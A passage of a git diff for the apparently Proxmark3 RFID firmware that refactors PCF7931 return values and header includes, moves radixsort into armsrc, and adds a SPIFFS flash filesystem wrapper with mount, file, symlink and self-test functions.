tab[u] + l; tab[u + 2] = 88 * T0_PCF + tab[u + 1] - l - p; - return 0; + return false; } else { //add a bit 0 if (u == 0) @@ -497,9 +541,9 @@ bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) { tab[u + 1] = 6 * T0_PCF + tab[u] + l; tab[u + 2] = 24 * T0_PCF + tab[u + 1] - l - p; - return 0; + return false; } - return 1; + return true; } /* Add a custom pattern in the data frame @@ -516,5 +560,5 @@ bool AddPatternPCF7931(uint32_t a, uint32_t b, uint32_t c, uint32_t *tab) { tab[u + 1] = b + tab[u]; tab[u + 2] = c + tab[u + 1]; - return 0; + return true; } diff --git a/armsrc/pcf7931.h b/armsrc/pcf7931.h index 5e3c5a8e4..67a11f5f8 100644 --- a/armsrc/pcf7931.h +++ b/armsrc/pcf7931.h @@ -1,11 +1,7 @@ #ifndef __PCF7931_H #define __PCF7931_H -#include "proxmark3.h" -#include "apps.h" -#include "lfsampling.h" -#include "pcf7931.h" -#include "string.h" +#include "common.h" size_t DemodPCF7931(uint8_t **outBlocks); bool IsBlock0PCF7931(uint8_t *block); diff --git a/armsrc/printf.c b/armsrc/printf.c index d0d873e7d..0dffbb037 100644 --- a/armsrc/printf.c +++ b/armsrc/printf.c @@ -35,6 +35,8 @@ */ #include "printf.h" +#include "string.h" + typedef unsigned char u_char; typedef unsigned int u_int; typedef unsigned long long u_quad_t; diff --git a/armsrc/printf.h b/armsrc/printf.h index ff0143790..bd0a6e2c9 100644 --- a/armsrc/printf.h +++ b/armsrc/printf.h @@ -11,9 +11,8 @@ #ifndef __PRINTF_H #define __PRINTF_H -#include -#include -#include "string.h" +#include "common.h" +#include // va_list int kvsprintf(const char *fmt, void *arg, int radix, va_list ap) __attribute__((format(printf, 1, 0))); int vsprintf(char *dest, const char *fmt, va_list ap) __attribute__((format(printf, 2, 0))); diff --git a/common/radixsort.c b/armsrc/radixsort.c similarity index 100% rename from common/radixsort.c rename to armsrc/radixsort.c diff --git a/common/radixsort.h b/armsrc/radixsort.h similarity index 87% rename from common/radixsort.h rename to armsrc/radixsort.h index 41a036461..fb2bcc044 100644 --- a/common/radixsort.h +++ b/armsrc/radixsort.h @@ -1,9 +1,7 @@ #ifndef RADIXSORT_H__ #define RADIXSORT_H__ -#include -#include -#include +#include "common.h" typedef union { struct { @@ -20,4 +18,5 @@ typedef union { } rscounts_t; uint64_t *radixSort(uint64_t *array, uint32_t size); + #endif // RADIXSORT_H__ diff --git a/armsrc/spiffs.c b/armsrc/spiffs.c new file mode 100644 index 000000000..81172476f --- /dev/null +++ b/armsrc/spiffs.c @@ -0,0 +1,641 @@ +//----------------------------------------------------------------------------- +// Colin J. Brigato, 2019 - [colin@brigato.fr] +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// SPIFFS api for RDV40 Integration by Colin Brigato +//----------------------------------------------------------------------------- + +#define SPIFFS_CFG_PHYS_SZ (1024 * 128) +#define SPIFFS_CFG_PHYS_ERASE_SZ (4 * 1024) +#define SPIFFS_CFG_PHYS_ADDR (0) +#define SPIFFS_CFG_LOG_PAGE_SZ (256) +#define SPIFFS_CFG_LOG_BLOCK_SZ (4 * 1024) +#define LOG_PAGE_SIZE 256 +#define RDV40_SPIFFS_WORKBUF_SZ (LOG_PAGE_SIZE * 2) +// Experimental : 4 full pages(LOG_PAGE_SIZE + file descript size) of cache for +// Reading and writing if reading cache is stable, writing cache may need more +// testing regarding power loss, page consistency checks, Garbage collector +// Flushing handling... in doubt, use maximal safetylevel as, in most of the +// case, will ensure a flush by rollbacking to previous Unmounted state +#define RDV40_SPIFFS_CACHE_SZ ((LOG_PAGE_SIZE + 32) * 4) +#define SPIFFS_FD_SIZE (32) +#define RDV40_SPIFFS_MAX_FD (3) +#define RDV40_SPIFFS_FDBUF_SZ (SPIFFS_FD_SIZE * RDV40_SPIFFS_MAX_FD) + +#define RDV40_LLERASE_BLOCKSIZE (64*1024) + +#define RDV40_SPIFFS_LAZY_HEADER \ + int changed = 0; \ + if ((level == RDV40_SPIFFS_SAFETY_LAZY) || (level == RDV40_SPIFFS_SAFETY_SAFE)) { \ + changed = rdv40_spiffs_lazy_mount(); \ + } + +#define RDV40_SPIFFS_SAFE_FOOTER \ + if (level == RDV40_SPIFFS_SAFETY_SAFE) { \ + changed = rdv40_spiffs_lazy_mount_rollback(changed); \ + } \ + return changed; + +#define RDV40_SPIFFS_SAFE_FUNCTION(RDV40_SPIFFS_LLFUNCT) \ + RDV40_SPIFFS_LAZY_HEADER \ + RDV40_SPIFFS_LLFUNCT \ + RDV40_SPIFFS_SAFE_FOOTER + +#include "spiffs.h" +#include "BigBuf.h" +#include "dbprint.h" + +///// FLASH LEVEL R/W/E operations for feeding SPIFFS Driver///////////////// +static s32_t rdv40_spiffs_llread(u32_t addr, u32_t size, u8_t *dst) { + + if (!Flash_ReadData(addr, dst, size)) { + return 128; + } + return SPIFFS_OK; +} + +static s32_t rdv40_spiffs_llwrite(u32_t addr, u32_t size, u8_t *src) { + + if (!FlashInit()) { + return 129; + } + Flash_Write(addr, src, size); + return SPIFFS_OK; +} + +static s32_t rdv40_spiffs_llerase(u32_t addr, u32_t size) { + + + uint8_t erased = 0; + + if (!FlashInit()) { + return 130; + } + if (DBGLEVEL > 2) Dbprintf("LLERASEDBG : Orig addr : %d\n", addr); + uint8_t block, sector = 0; + block = addr / RDV40_LLERASE_BLOCKSIZE; + if (block) { + addr = addr - (block * RDV40_LLERASE_BLOCKSIZE); + } + if (DBGLEVEL > 2) Dbprintf("LLERASEDBG : Result addr : %d\n", addr); + sector = addr / SPIFFS_CFG_LOG_BLOCK_SZ; + Flash_CheckBusy(BUSY_TIMEOUT); + Flash_WriteEnable(); + if (DBGLEVEL > 2) Dbprintf("LLERASEDBG : block : %d, sector : %d \n", block, sector); + erased = Flash_Erase4k(block, sector); + + Flash_CheckBusy(BUSY_TIMEOUT); + FlashStop(); + + return SPIFFS_OK == erased ; +} + +//////////////////////////////////////////////////////////////////////////////// + +////// SPIFFS LOW LEVEL OPERATIONS ///////////////////////////////////////////// +static u8_t spiffs_work_buf[RDV40_SPIFFS_WORKBUF_SZ] __attribute__((aligned)); +static u8_t spiffs_fds[RDV40_SPIFFS_FDBUF_SZ] __attribute__((aligned)); +static u8_t spiffs_cache_buf[RDV40_SPIFFS_CACHE_SZ] __attribute__((aligned)); + +static spiffs fs; + +static enum spiffs_mount_status { + RDV40_SPIFFS_UNMOUNTED, + RDV40_SPIFFS_MOUNTED, + RDV40_SPIFFS_UNKNOWN +} RDV40_SPIFFS_MOUNT_STATUS; + +int rdv40_spiffs_mounted() { + int ret = 0; + + switch (RDV40_SPIFFS_MOUNT_STATUS) { + case RDV40_SPIFFS_MOUNTED: + ret = 1; + break; + case RDV40_SPIFFS_UNMOUNTED: + case RDV40_SPIFFS_UNKNOWN: + default: + ret = 0; + } + + return ret; +} + +int rdv40_spiffs_mount() { + if (rdv40_spiffs_mounted()) { + Dbprintf("ERR: SPIFFS already mounted !"); + return SPIFFS_ERR_MOUNTED; + } + + spiffs_config cfg; + cfg.hal_read_f = rdv40_spiffs_llread; + cfg.hal_write_f = rdv40_spiffs_llwrite; + cfg.hal_erase_f = rdv40_spiffs_llerase; + + // uncached version + // int ret = SPIFFS_mount(&fs, &cfg, spiffs_work_buf, spiffs_fds, + // sizeof(spiffs_fds), 0, 0, 0); cached version, experimental + int ret = SPIFFS_mount(&fs, &cfg, spiffs_work_buf, spiffs_fds, sizeof(spiffs_fds), spiffs_cache_buf, + sizeof(spiffs_cache_buf), 0); + if (ret == SPIFFS_OK) { + RDV40_SPIFFS_MOUNT_STATUS = RDV40_SPIFFS_MOUNTED; + } + return ret; +} + +int rdv40_spiffs_unmount() { + if (!rdv40_spiffs_mounted()) { + Dbprintf("ERR: SPIFFS not mounted !"); + return SPIFFS_ERR_NOT_MOUNTED; + } + + SPIFFS_clearerr(&fs); + SPIFFS_unmount(&fs); + + int ret = SPIFFS_errno(&fs); + if (ret == SPIFFS_OK) { + RDV40_SPIFFS_MOUNT_STATUS = RDV40_SPIFFS_UNMOUNTED; + } + return ret; +} + +int rdv40_spiffs_check() { + rdv40_spiffs_lazy_mount(); + SPIFFS_check(&fs); + SPIFFS_gc_quick(&fs, 0); + rdv40_spiffs_lazy_unmount(); + rdv40_spiffs_lazy_mount(); + return SPIFFS_gc(&fs, 8192) == SPIFFS_OK; +} +//////////////////////////////////////////////////////////////////////////////// + +///// Base RDV40_SPIFFS_SAFETY_NORMAL operations//////////////////////////////// + +void write_to_spiffs(const char *filename, uint8_t *src, uint32_t size) { + spiffs_file fd = SPIFFS_open(&fs, filename, SPIFFS_CREAT | SPIFFS_TRUNC | SPIFFS_RDWR, 0); + if (SPIFFS_write(&fs, fd, src, size) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); + SPIFFS_close(&fs, fd); +} + +void append_to_spiffs(const char *filename, uint8_t *src, uint32_t size) { + spiffs_file fd = SPIFFS_open(&fs, filename, SPIFFS_APPEND | SPIFFS_RDWR, 0); + if (SPIFFS_write(&fs, fd, src, size) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); + SPIFFS_close(&fs, fd); +} + +void read_from_spiffs(const char *filename, uint8_t *dst, uint32_t size) { + spiffs_file fd = SPIFFS_open(&fs, filename, SPIFFS_RDWR, 0); + if (SPIFFS_read(&fs, fd, dst, size) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); + SPIFFS_close(&fs, fd); +} + +void rename_in_spiffs(const char *old_filename, const char *new_filename) { + if (SPIFFS_rename(&fs, old_filename, new_filename) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); +} + +void remove_from_spiffs(const char *filename) { + if (SPIFFS_remove(&fs, filename) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); +} + +spiffs_stat stat_in_spiffs(const char *filename) { + spiffs_stat s; + if (SPIFFS_stat(&fs, filename, &s) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); + return s; +} + +uint32_t size_in_spiffs(const char *filename) { + spiffs_stat s = stat_in_spiffs(filename); + return s.size; +} + +rdv40_spiffs_fsinfo info_of_spiffs() { + rdv40_spiffs_fsinfo fsinfo; + fsinfo.blockSize = SPIFFS_CFG_LOG_BLOCK_SZ; + fsinfo.pageSize = LOG_PAGE_SIZE; + fsinfo.maxOpenFiles = RDV40_SPIFFS_MAX_FD; + fsinfo.maxPathLength = SPIFFS_OBJ_NAME_LEN; + if (SPIFFS_info(&fs, &fsinfo.totalBytes, &fsinfo.usedBytes) < 0) + Dbprintf("errno %i\n", SPIFFS_errno(&fs)); + fsinfo.freeBytes = fsinfo.totalBytes - fsinfo.usedBytes; + // Rounding without float may be improved + fsinfo.usedPercent = ((100 * fsinfo.usedBytes) + (fsinfo.totalBytes / 2)) / fsinfo.totalBytes; + fsinfo.freePercent = (100 - fsinfo.usedPercent); + return fsinfo; +} + +int exists_in_spiffs(const char *filename) { + spiffs_stat stat; + int rc = SPIFFS_stat(&fs, filename, &stat); + return rc == SPIFFS_OK; +} + +RDV40SpiFFSFileType filetype_in_spiffs(const char *filename) { + RDV40SpiFFSFileType filetype = RDV40_SPIFFS_FILETYPE_UNKNOWN; + char symlinked[SPIFFS_OBJ_NAME_LEN]; + sprintf(symlinked, "%s.lnk", filename); + if (exists_in_spiffs(filename)) { + filetype = RDV40_SPIFFS_FILETYPE_REAL; + } + if (exists_in_spiffs(symlinked)) { + if (filetype != RDV40_SPIFFS_FILETYPE_UNKNOWN) { + filetype = RDV40_SPIFFS_FILETYPE_BOTH; + } else { + filetype = RDV40_SPIFFS_FILETYPE_SYMLINK; + } + } + if (DBGLEVEL > 1) { + switch (filetype) { + case RDV40_SPIFFS_FILETYPE_REAL: + Dbprintf("Filetype is : RDV40_SPIFFS_FILETYPE_REAL"); + break; + case RDV40_SPIFFS_FILETYPE_SYMLINK: + Dbprintf("Filetype is : RDV40_SPIFFS_FILETYPE_SYMLINK"); + break; + case RDV40_SPIFFS_FILETYPE_BOTH: + Dbprintf("Filetype is : RDV40_SPIFFS_FILETYPE_BOTH"); + break; + case RDV40_SPIFFS_FILETYPE_UNKNOWN: + Dbprintf("Filetype is : RDV40_SPIFFS_FILETYPE_UNKNOWN"); + break; + } + } + return filetype; +} + +int is_valid_filename(const char *filename) { + if (filename == NULL) { + return false; + } + uint32_t len = strlen(filename); + return len > 0 && len < SPIFFS_OBJ_NAME_LEN; +} + +void copy_in_spiffs(const char *src, const char *dst) { + uint32_t size = size_in_spiffs((char *)src); + uint8_t *mem = BigBuf_malloc(size); + read_from_spiffs((char *)src, (uint8_t *)mem, size); + write_to_spiffs((char *)dst, (uint8_t *)mem, size); +} + +//////////////////////////////////////////////////////////////////////////////// + +////// Abstract Operations for base Safetyness ///////////////////////////////// +// +// mount if not already +// As an "hint" to the behavior one should adopt after his or her lazyness +// it will return 0 if the call was a noop, either because it did not need to +// change OR because it wasn't ABLE to change :) +// 1 if the mount status actually changed +// so you know what to do IN CASE you wished to set things "back to previous +// state" +int rdv40_spiffs_lazy_mount() { + int changed = 0; + if (!rdv40_spiffs_mounted()) { + changed = rdv40_spiffs_mount(); + /* if changed = 0 = SPIFFS_OK then all went well then the change + * actually occurred :)*/ + changed = !changed; + } + return changed; +} + +// unmount if not already +int rdv40_spiffs_lazy_unmount() { + int changed = 0; + if (rdv40_spiffs_mounted()) { + changed = rdv40_spiffs_unmount(); + changed = !changed; + } + return changed; +} + +// Before further Reading, it is required to have in mind that UNMOUTING is +// important in some ways Because it is the ONLY operation which ensure that +// -> all Caches and writings are flushed to the FS +// -> all FD are properly closed +// -> Every best effort has been done to ensure consistency and integrity of the +// state reputated to be the actual state of the Filesystem. +//--- + +// This will "toggle" mount status +// on "changement" conditional +// so it is for the former lazy_ mounting function to actually rollback or not +// depending on the result of the previous This is super lazy implementation as +// it is either a toggle to previous state or again a noop as everything was a +// nonevent If you have a function which NEEDS mounting but you want to exit +// this function in the very state mounting was before your intervention all +// things can now be transparent like +/* +void my_lazy_spiffs_act(){ + uint8_t changed = rdv40_spiffs_lazy_mount(); + [..] Do what you have to do with spiffs + rdv40_spiffs_lazy_rollback(changed) +} +*/ +// The exact same goes for needed unmouting with eventual rollback, you just +// have to use lazy_unmount insted of lazy mount This way, you can ensure +// consistency in operation even with complex chain of mounting and unmounting +// Lets's say you are in a function which needs to mount if not already, and in +// the middle of itself calls function which indeed will need to unmount if not +// already. Well you better use safe or wrapped function which are made to +// rollback to previous state, so you can continue right after to do your +// things. +// +// As an extreme example: let's imagine that we have a function which is made +// to FORMAT the whole SPIFFS if a SPECIFIC content is written in the 4 first +// byte of that file. Also in such a case it should quickly create a bunch of +// skkeleton to get itself back to a known and wanted state. This behavior has +// to be done at every "manual" (not a lazy or internal event) mounting, just +// like an action upon boot. +/* + void my_spiffs_boot(){ + uint8_t resetret[4]; + // this lazy_mount since needed and can also report back the change on +state implied by eventual mount, if needed rdv40_spiffs_lazy_read((const char +*)".SHOULDRESET",(uint8_t *)resetret,4); if( resetret == "YESS" ) { uint8_t +changed = rdv40_spiffs_lazy_format(); // this will imply change only if we where +already mounted beforehand, was the case after our reading without further +rollback rdv40_spiffs_lazy_mount_rollback(changed); // so if we were mounted +just get back to this state. If not, just don't. + [...] + } + [...] +} +*/ +// Again : This will "toggle" spiffs mount status only if a "change" occurred +// (and should be fed by the result of a spiffs_lazy* function) If everything +// went well, it will return SPIFFS_OK if everything went well, and a report +// back the chain a SPI_ERRNO if not. +int rdv40_spiffs_lazy_mount_rollback(int changed) { + if (!changed) + return SPIFFS_OK; + if (rdv40_spiffs_mounted()) + return rdv40_spiffs_unmount(); + return rdv40_spiffs_mount(); +} +/////////////////////////////////////////////////////////////////////////////// + +// High level functions with SatefetyLevel +// Beware that different safety level makes different return behavior +// +// RDV40_SPIFFS_SAFETY_NORMAL : will operate withtout further change on mount +// status RDV40_SPIFFS_SAFETY_LAZY : will ensure mount status already being in +// correct state before ops, +// will return !false if mount state had to change +// RDV40_SPIFFS_SAFETY_SAFE : will do same as RDV40_SPIFFS_SAFETY_LAZY +// will also safely rollback to previous state IF +// mount state had to change will return SPIFFS_OK / +// 0 / false if everything went well + +// TODO : this functions are common enought to be unified with a switchcase +// statement or some function taking function parameters +// TODO : forbid writing to a filename which already exists as lnk ! +// TODO : forbid writing to a filename.lnk which already exists without lnk ! +int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( + write_to_spiffs(filename, src, size); + ) +} + +int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( + append_to_spiffs(filename, src, size); + ) +} + +// todo integrate reading symlinks transparently +int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( + read_from_spiffs(filename, dst, size); + ) +} + +// TODO : forbid writing to a filename which already exists as lnk ! +// TODO : forbid writing to a filename.lnk which already exists without lnk ! +int rdv40_spiffs_rename(char *old_filename, char *new_filename, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + rename_in_spiffs((char *)old_filename, (char *)new_filename); // + ) +} +int rdv40_spiffs_remove(char *filename, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + remove_from_spiffs((char *)filename); // + ) +} + +int rdv40_spiffs_copy(char *src, char *dst, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + copy_in_spiffs((char *)src, (char *)dst); // + ) +} + +int rdv40_spiffs_stat(char *filename, uint32_t *buf, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + *buf = size_in_spiffs((char *)filename); // + ) +} + +int rdv40_spiffs_getfsinfo(rdv40_spiffs_fsinfo *fsinfo, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + *fsinfo = info_of_spiffs(); // + ) +} + +// test for symlink from filename +int rdv40_spiffs_is_symlink(const char *s) { + int ret = 0; + + if (s != NULL) { + size_t size = strlen(s); + + if (size >= 4 && s[size - 4] == '.' && s[size - 3] == 'l' && s[size - 2] == 'n' && s[size - 1] == 'k') { + ret = 1; + } + } + + return ret; +} + +// since FILENAME can't be longer than 32Bytes as of hard configuration, we're +// safe with Such maximum. So the "size" variable is actually the known/intended +// size of DESTINATION file, may it be known (may we provide a "stat from +// symlinkk ?") +// ATTENTION : you must NOT provide the whole filename (so please do not include the .lnk extension) +// TODO : integrate in read_function +int rdv40_spiffs_read_as_symlink(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + char linkdest[SPIFFS_OBJ_NAME_LEN]; // + char linkfilename[SPIFFS_OBJ_NAME_LEN]; // + sprintf(linkfilename, "%s.lnk", filename); + if (DBGLEVEL > 1) Dbprintf("Linkk real filename is destination is : %s", linkfilename); + read_from_spiffs((char *)linkfilename, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); + if (DBGLEVEL > 1) Dbprintf("Symlink destination is : %s", linkdest); + read_from_spiffs((char *)linkdest, (uint8_t *)dst, size); // + ) + } + +// BEWARE ! This function is DESTRUCTIVE as it will UPDATE an existing symlink +// Since it creates a .lnk extension file it may be minor to mistake the order of arguments +// Still please use this function with care. +// Also, remind that it will NOT check if destination filename actually exists +// As a mnenotechnic, think about the "ln" unix command, which order is the same as "cp" unix command +// in regard of arguments orders. +// Eg : +// rdv40_spiffs_make_symlink((uint8_t *)"hello", (uint8_t *)"world", RDV40_SPIFFS_SAFETY_SAFE) +// will generate a file named "world.lnk" with the path to file "hello" written in +// wich you can then read back with : +// rdv40_spiffs_read_as_symlink((uint8_t *)"world",(uint8_t *) buffer, orig_file_size, RDV40_SPIFFS_SAFETY_SAFE); +// TODO : FORBID creating a symlink with a basename (before.lnk) which already exists as a file ! +int rdv40_spiffs_make_symlink(char *linkdest, char *filename, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + char linkfilename[SPIFFS_OBJ_NAME_LEN]; // + sprintf(linkfilename, "%s.lnk", filename); + write_to_spiffs((char *)linkfilename, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); // + ) +} + +// filename and filename.lnk will both the existence-checked +// if filename exists, read will be used, if filename.lnk exists, read_as_symlink will be used +// Both existence is not handled right now and should not happen or create a default fallback behavior +// Still, this case won't happend when the write(s) functions will check for both symlink and real file +// preexistance, avoiding a link being created if filename exists, or avoiding a file being created if +// symlink exists with same name +int rdv40_spiffs_read_as_filetype(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) { + RDV40_SPIFFS_SAFE_FUNCTION( // + RDV40SpiFFSFileType filetype = filetype_in_spiffs((char *)filename); // + switch (filetype) { + case RDV40_SPIFFS_FILETYPE_REAL: + rdv40_spiffs_read((char *)filename, (uint8_t *)dst, size, level); + break; + case RDV40_SPIFFS_FILETYPE_SYMLINK: + rdv40_spiffs_read_as_symlink((char *)filename, (uint8_t *)dst, size, level); + break; + case RDV40_SPIFFS_FILETYPE_BOTH: + case RDV40_SPIFFS_FILETYPE_UNKNOWN: + default: + ; + } // + ) +} + +// TODO regarding reads/write and symlinks : +// Provide a higher level readFile function which +// - don't need a size to be provided, getting it from STAT call and using bigbuff malloc +// - send back the whole readed file as return Result +// Maybe a good think to implement a VFS api here. + +//////////////////////////////////////////////////////////////////////////////// + +///////// MISC HIGH LEVEL FUNCTIONS //////////////////////////////////////////// +#define SPIFFS_BANNER DbpString(_BLUE_("Flash Memory FileSystem tree (SPIFFS)")); + +void rdv40_spiffs_safe_print_fsinfo() { + rdv40_spiffs_fsinfo fsinfo; + rdv40_spiffs_getfsinfo(&fsinfo, RDV40_SPIFFS_SAFETY_SAFE); + + DbpString(_BLUE_("Flash Memory FileSystem Info (SPIFFS)")); + + + Dbprintf(" Logical Block Size........." _YELLOW_("%d")"bytes", fsinfo.blockSize); + Dbprintf(" Logical Page Size.........." _YELLOW_("%d")"bytes", fsinfo.pageSize); + Dbprintf(""); + Dbprintf(" Max Open Files............." _YELLOW_("%d")"file descriptors", fsinfo.maxOpenFiles); + Dbprintf(" Max Path Length............" _YELLOW_("%d")"chars", fsinfo.maxPathLength); + DbpString(""); + Dbprintf(" filesystem size used available use% mounted"); + Dbprintf(" spiffs %6d B %6d B %6d B"_YELLOW_("%2d%")" /" + , fsinfo.totalBytes + , fsinfo.usedBytes + , fsinfo.freeBytes + , fsinfo.usedPercent + ); +} + +// this function is safe and WILL rollback since it is only a PRINTING function, +// not a function intended to give any sort of struct to manipulate the FS +// objects +// TODO : Fake the Directory availability by spliting strings , buffering, +// maintaining prefix list sorting, unique_checking, THEN outputing precomputed +// tree Other solutio nwould be to add directory support to SPIFFS, but that we +// dont want, as prefix are way easier and lighter in every aspect. +void rdv40_spiffs_safe_print_tree(uint8_t banner) { + + if (banner) { + DbpString(_BLUE_("Flash Memory FileSystem tree (SPIFFS)")); + Dbprintf("-------------------------------------"); + } + + int changed = rdv40_spiffs_lazy_mount(); + spiffs_DIR d; + struct spiffs_dirent e; + struct spiffs_dirent *pe = &e; + + SPIFFS_opendir(&fs, "/", &d); + Dbprintf(" \t \t/"); + while ((pe = SPIFFS_readdir(&d, pe))) { + + char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN]; + if (rdv40_spiffs_is_symlink((const char *)pe->name)) { + char linkdest[SPIFFS_OBJ_NAME_LEN]; + read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); + sprintf(resolvedlink, "(.lnk) --> %s", linkdest); + // Kind of stripping the .lnk extension + strtok((char *)pe->name, "."); + } else { + memset(resolvedlink, 0, sizeof(resolvedlink)); + } + + Dbprintf("[%04x]\t %ibytes \t|-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); + } + SPIFFS_closedir(&d); + + rdv40_spiffs_lazy_mount_rollback(changed); +} + + +// Selftest function +void test_spiffs() { + Dbprintf("----------------------------------------------"); + Dbprintf("Testing SPIFFS operations"); + Dbprintf("----------------------------------------------"); + Dbprintf("-- all test are made using lazy safetylevel"); + + Dbprintf(" Mounting filesystem (lazy)......."); + int changed = rdv40_spiffs_lazy_mount(); + + Dbprintf(" Printing tree.............."); + rdv40_spiffs_safe_print_tree(false); + + Dbprintf(" Writing 'I love Proxmark3 RDV4' in a testspiffs.txt"); + + // Since We lazy_mounted manually before hand, the wrte safety level will + // just imply noops + rdv40_spiffs_write((char *)"testspiffs.txt", (uint8_t *)"I love Proxmark3 RDV4", 21, RDV40_SPIFFS_SAFETY_SAFE); + + Dbprintf(" Printing tree again......."); + rdv40_spiffs_safe_print_tree(false); + + Dbprintf(" Making a symlink to testspiffs.txt"); + rdv40_spiffs_make_symlink((char *)"testspiffs.txt", (char *)"linktotestspiffs.txt", RDV40_SPIFFS_SAFETY_SAFE); + + Dbprintf(" Printing tree again......."); + rdv40_spiffs_safe_print_tree(false); + + // TODO READBACK, rename,print tree read back, remove, print tree; + Dbprintf(" Rollbacking The mount status IF things have changed"); + rdv40_spiffs_lazy_mount_rollback(changed); + + Dbprintf(_GREEN_("All done")); + return; +} + +/////////////////////////////////////////////////////////////////////////////// diff --git a/armsrc/spiffs.h b/armsrc/spiffs.h new file mode 100644 index 000000000..f10c86db0 --- /dev/null +++ b/armsrc/spiffs.h @@ -0,0 +1,861 @@ +/* + * spiffs.h + * + * Created on: May 26, 2013 + * Author: petera + */ + +#ifndef SPIFFS_H_ +#define SPIFFS_H_ +#if defined(__cplusplus) +extern "C" { +#endif + +#include "spiffs_config.h" + +typedef enum spiffs_safety_level { RDV40_SPIFFS_SAFETY_NORMAL, RDV40_SPIFFS_SAFETY_LAZY, RDV40_SPIFFS_SAFETY_SAFE } RDV40SpiFFSSafetyLevel; + +typedef enum spiffs_file_type { + RDV40_SPIFFS_FILETYPE_REAL, + RDV40_SPIFFS_FILETYPE_SYMLINK, + RDV40_SPIFFS_FILETYPE_BOTH, + RDV40_SPIFFS_FILETYPE_UNKNOWN +} RDV40SpiFFSFileType; + +typedef struct rdv40_spiffs_fsinfo { + uint32_t blockSize; + uint32_t pageSize; + uint32_t maxOpenFiles; + uint32_t maxPathLength; + uint32_t totalBytes, usedBytes, freeBytes; + uint32_t usedPercent, freePercent; +} rdv40_spiffs_fsinfo; + +int rdv40_spiffs_read_as_filetype(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level); + +int rdv40_spiffs_check(); +int rdv40_spiffs_lazy_unmount(); +int rdv40_spiffs_lazy_mount(); +int rdv40_spiffs_lazy_mount_rollback(int changed); +int rdv40_spiffs_write(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_read(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_rename(char *old_filename, char *new_filename, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_remove(char *filename, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_read_as_symlink(char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level); +void write_to_spiffs(const char *filename, uint8_t *src, uint32_t size); +void read_from_spiffs(const char *filename, uint8_t *dst, uint32_t size); +void test_spiffs(); +void rdv40_spiffs_safe_print_tree(uint8_t banner); +int rdv40_spiffs_unmount(); +int rdv40_spiffs_mount(); +int rdv40_spiffs_is_symlink(const char *s); +void rdv40_spiffs_safe_print_fsinfo(); +int rdv40_spiffs_make_symlink(char *linkdest, char *filename, RDV40SpiFFSSafetyLevel level); +void append_to_spiffs(const char *filename, uint8_t *src, uint32_t size); +int rdv40_spiffs_copy(char *src, char *dst, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_append(char *filename, uint8_t *src, uint32_t size, RDV40SpiFFSSafetyLevel level); +int rdv40_spiffs_stat(char *filename, uint32_t *buf, RDV40SpiFFSSafetyLevel level); +uint32_t size_in_spiffs(const char *filename); +int exists_in_spiffs(const char *filename); + +#define SPIFFS_OK 0 +#define SPIFFS_ERR_NOT_MOUNTED -10000 +#define SPIFFS_ERR_FULL -10001 +#define SPIFFS_ERR_NOT_FOUND -10002 +#define SPIFFS_ERR_END_OF_OBJECT -10003 +#define SPIFFS_ERR_DELETED -10004 +#define SPIFFS_ERR_NOT_FINALIZED -10005 +#define SPIFFS_ERR_NOT_INDEX -10006 +#define SPIFFS_ERR_OUT_OF_FILE_DESCS -10007 +#define SPIFFS_ERR_FILE_CLOSED -10008 +#define SPIFFS_ERR_FILE_DELETED -10009 +#define SPIFFS_ERR_BAD_DESCRIPTOR -10010 +#define SPIFFS_ERR_IS_INDEX -10011 +#define SPIFFS_ERR_IS_FREE -10012 +#define SPIFFS_ERR_INDEX_SPAN_MISMATCH -10013 +#define SPIFFS_ERR_DATA_SPAN_MISMATCH -10014 +#define SPIFFS_ERR_INDEX_REF_FREE -10015 +#define SPIFFS_ERR_INDEX_REF_LU -10016 +#define SPIFFS_ERR_INDEX_REF_INVALID -10017 +#define SPIFFS_ERR_INDEX_FREE -10018 +#define SPIFFS_ERR_INDEX_LU -10019 +#define SPIFFS_ERR_INDEX_INVALID -10020 +#define SPIFFS_ERR_NOT_WRITABLE -10021 +#define SPIFFS_ERR_NOT_READABLE -10022 +#define SPIFFS_ERR_CONFLICTING_NAME -10023 +#define 